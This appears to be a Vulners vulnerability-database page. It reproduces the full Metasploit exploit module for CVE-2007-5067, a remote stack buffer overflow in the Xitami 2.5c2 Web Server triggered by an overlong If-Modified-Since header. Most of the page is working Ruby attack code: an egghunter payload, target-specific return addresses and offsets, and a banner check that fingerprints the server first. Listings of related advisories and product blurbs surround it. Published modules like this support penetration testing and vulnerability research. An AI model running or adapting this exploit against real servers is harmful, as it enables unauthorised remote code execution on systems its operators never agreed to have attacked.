Lucene search
K

Xitami 2.5c2 Web Server If-Modified-Since Overflow

🗓️ 29 Sep 2007 04:30:59Reported by aushack <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 17 Views

Xitami 2.5c2 Web Server If-Modified-Since Overflow, stack buffer overflow exploi

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-5067
25 Aug 201000:00
circl
CVE
CVE-2007-5067
24 Sep 200723:00
cve
Cvelist
CVE-2007-5067
24 Sep 200723:00
cvelist
d2
DSquare Exploit Pack: D2SEC_XITAMI
24 Sep 200723:17
d2
Exploit DB
Xitami Web Server 2.5c2 - If-Modified-Since Overflow (Metasploit)
25 Aug 201000:00
exploitdb
NVD
CVE-2007-5067
24 Sep 200723:17
nvd
OpenVAS
Xitami Web Server If-Modified-Since Buffer Overflow Vulnerability
13 Jun 201100:00
openvas
Packet Storm
Xitami 2.5c2 Web Server If-Modified-Since Overflow
26 Nov 200900:00
packetstorm
Prion
Buffer overflow
24 Sep 200723:17
prion
canvas
Immunity Canvas: XITAMI
24 Sep 200723:17
canvas
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'Xitami 2.5c2 Web Server If-Modified-Since Overflow',
      'Description'	=> %q{
        This module exploits a stack buffer overflow in the iMatix Corporation
        Xitami Web Server. If a malicious user sends an	If-Modified-Since
        header containing an overly long string, it may be possible to
        execute a payload remotely. Due to size constraints, this module uses
        the Egghunter technique.
      },
      'Author' 	=> 'aushack',
      'License'       => MSF_LICENSE,
      'References'    =>
      [
        [ 'CVE', '2007-5067' ],
        [ 'OSVDB', '40594'],
        [ 'OSVDB', '40595'],
        [ 'BID', '25772' ],
        [ 'EDB', '4450' ]
      ],
      'Privileged'		=> false,
      'DefaultOptions'	=>
      {
        'EXITFUNC'	=> 'process',
      },
      'Payload'		=>
        {
          'Space'		=> 700,
          'BadChars' 	=> "\x00\x0a\x0d",
        },
      'Platform' => ['win'],
      'Targets'  =>
      [
      # Patrick - Both tested OK 20070928 - w2ksp0, w2ksp4, xpsp0, xpsp2 en.
        [ 'xigui32.exe Universal', { 'Ret' => "\xff\xce\x44", 'Offset' => 40 } ], # 0x0044ceff ret xigui32.exe
        [ 'xitami.exe  Universal', { 'Ret' => "\xf2\xc1\x47", 'Offset' => 68 } ], # 0x0047c1f2 ret xitami.exe
      ],
      'DisclosureDate' => '2007-09-24',
      'DefaultTarget' => 0))

      register_options(
      [
        Opt::RPORT(80),
      ])
  end

  def check
    connect
    sock.put("GET / HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
    banner = sock.get_once
    disconnect

    if (banner.to_s =~ /Xitami/)
      vprint_status("Banner: #{banner}")
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    hunter  = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
    egg     = hunter[1]

    sploit = "GET / HTTP/1.1\r\n"
    sploit << "Host: " + egg + "\r\n"
    sploit << "If-Modified-Since: " + Rex::Arch::X86.jmp_short(3) + ", "
    sploit << hunter[0] + rand_text_alphanumeric(target['Offset']) + target['Ret']

    sock.put(sploit + "\r\n\r\n")

    print_status("Waiting for payload to execute...")

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation